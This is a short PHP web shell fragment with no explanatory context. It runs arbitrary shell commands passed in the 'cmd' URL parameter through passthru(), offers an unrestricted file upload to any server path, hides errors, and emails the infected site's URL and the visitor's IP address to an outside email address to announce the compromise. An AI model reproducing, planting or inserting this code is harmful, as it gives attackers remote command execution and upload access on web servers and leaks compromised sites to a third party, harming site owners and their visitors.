if ($_GET['cmd']=='up')
{
$docr = $_SERVER["DOCUMENT_ROOT"];
echo <<<HTML










$tend
<font size="1">Your File : </font>
<font size="1">Upload Dir : </font>


HTML;

if (isset($_POST["path"])){

$uploadfile = $_POST["path"].$_FILES["file"]["name"];
if ($_POST["path"]==""){$uploadfile = $_FILES["file"]["name"];}

if (copy($_FILES["file"]["tmp_name"], $uploadfile)) {
echo "File uploaded to : $uploadfile\n";
echo "- Size : " .$_FILES["file"]["size"]. "\n";

} else {
print "Error Upload File :\n";
}
}
}



if(!empty($_GET['cmd'])){
echo'<pre>';
passthru($_GET['cmd']);
echo'</pre>';
exit;
}


@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
$tujuanmail = 'info.ebrasha@gmail.com';
$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
mail($tujuanmail, "Uploader :D", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");